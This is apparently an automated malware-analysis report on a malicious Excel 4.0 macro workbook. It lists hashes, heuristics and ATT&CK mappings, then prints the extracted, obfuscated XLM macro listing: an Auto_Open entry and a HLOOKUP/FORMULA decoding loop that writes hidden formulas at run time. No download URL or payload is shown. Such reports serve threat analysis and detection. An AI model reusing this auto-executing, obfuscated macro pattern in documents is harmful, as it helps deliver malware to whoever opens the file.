Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 999d1dc1285fb8a8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:52 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 09b44f3babe6b5e0f2f8e297781c2733 SHA-1: ad8f67760c62ce78e587268f0e024a32ae8005e3 SHA-256: 999d1dc1285fb8a86f8f90bfdd81b676aa870b2901aeff7c0b1b4b0878fdb466
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a critical indicator of malicious intent. This function is designed to execute automatically when the workbook is opened, and the presence of dangerous formula APIs suggests it's used to run arbitrary code. The macro sheet itself contains obfuscated strings and references to potentially dangerous functions, indicating it's likely a downloader for a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6487 bytes
SHA-256: 4eb130fbe0a4e6a5bac2fb489af5674ebd30aae5fee6c8f6a2da06004f937ca4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MHclWSE
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B185 
' 0018     21 LABEL : Cell Value, String Constant - CSiPLm len=0 
' 0018     25 LABEL : Cell Value, String Constant - dsbVmaemeA len=0 
' 0018     22 LABEL : Cell Value, String Constant - hPXrgbe len=0 
' 0018     22 LABEL : Cell Value, String Constant - iktRrhE len=0 
' 0018     25 LABEL : Cell Value, String Constant - iOVkNMuiXc len=0 
' 0018     27 LABEL : Cell Value, String Constant - iPXTrnHUkWNs len=0 
' 0018     22 LABEL : Cell Value, String Constant - Jazzdqh len=0 
' 0018     26 LABEL : Cell Value, String Constant - JLXDDnqdUju len=0 
' 0018     21 LABEL : Cell Value, String Constant - kwlaHd len=0 
' 0018     21 LABEL : Cell Value, String Constant - lGtpdD len=0 
' 0018     20 LABEL : Cell Value, String Constant - LXKPh len=0 
' 0018     24 LABEL : Cell Value, String Constant - lzTJNVBlj len=0 
' 0018     20 LABEL : Cell Value, String Constant - pjSqS len=0 
' 0018     24 LABEL : Cell Value, String Constant - RACWCKRjR len=0 
' 0018     23 LABEL : Cell Value, String Constant - RwLOgMZA len=0 
' 0018     20 LABEL : Cell Value, String Constant - Sijle len=0 
' 0018     26 LABEL : Cell Value, String Constant - wnNAPXGQXLS len=0 
' 0018     25 LABEL : Cell Value, String Constant - xpSJVywQfc len=0 
' 0018     24 LABEL : Cell Value, String Constant - ywVUiAHaf len=0 
' 0018     22 LABEL : Cell Value, String Constant - YyUQEdU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MHclWSE,B90,"SET.NAME("RwLOgMZA",VALUE("0"))",""
'  MHclWSE,B94,"SET.NAME("wnNAPXGQXLS",RwLOgMZA)",""
'  MHclWSE,B98,"SET.NAME("JLXDDnqdUju",RwLOgMZA)",""
'  MHclWSE,B103,"SET.NAME("lGtpdD",COUNTA(RACWCKRjR))",""
'  MHclWSE,B106,"SET.NAME("Jazzdqh",COUNTA(Sijle))",""
'  MHclWSE,B111,[],""
'  MHclWSE,B114,"SET.NAME("xpSJVywQfc","")",""
'  MHclWSE,B118,"wnNAPXGQXLS",""
'  MHclWSE,B121,"SET.NAME("iOVkNMuiXc",HLOOKUP("*",RACWCKRjR,wnNAPXGQXLS,FALSE))",""
'  MHclWSE,B125,"iPXTrnHUkWNs",""
'  MHclWSE,B127,"SET.NAME("iktRrhE",RwLOgMZA)",""
'  MHclWSE,B132,[],""
'  MHclWSE,B136,"iktRrhE",""
'  MHclWSE,B140,"pjSqS",""
'  MHclWSE,B143,"lzTJNVBlj",""
'  MHclWSE,B146,"YyUQEdU",""
'  MHclWSE,B151,"SET.NAME("dsbVmaemeA",VALUE(HLOOKUP("*",Sijle,YyUQEdU,FALSE)))",""
'  MHclWSE,B156,"ywVUiAHaf",""
'  MHclWSE,B160,"xpSJVywQfc",""
'  MHclWSE,B163,"JLXDDnqdUju",""
'  MHclWSE,B168,NEXT(),""
'  MHclWSE,B170,"hPXrgbe",""
'  MHclWSE,B174,"SET.NAME("f",INT(T(FORMULA(T(xpSJVywQfc)&"",""&T(hPXrgbe)))))",""
'  MHclWSE,B177,"kwlaHd",""
'  MHclWSE,B180,NEXT(),""
'  MHclWSE,B183,RETURN(),""
'  MHclWSE,B214,"SET.NAME("LXKPh",B90)",""
'  MHclWSE,B219,"RACWCKRjR",""
'  MHclWSE,B221,"SET.NAME("Sijle",R40C14)",""
'  MHclWSE,B226,"SET.NAME("kwlaHd",235)",""
'  MHclWSE,B231,"SET.NAME("CSiPLm",2)",""
'  MHclWSE,B234,LXKPh(),""
'  MHclWSE,B235,HALT(),""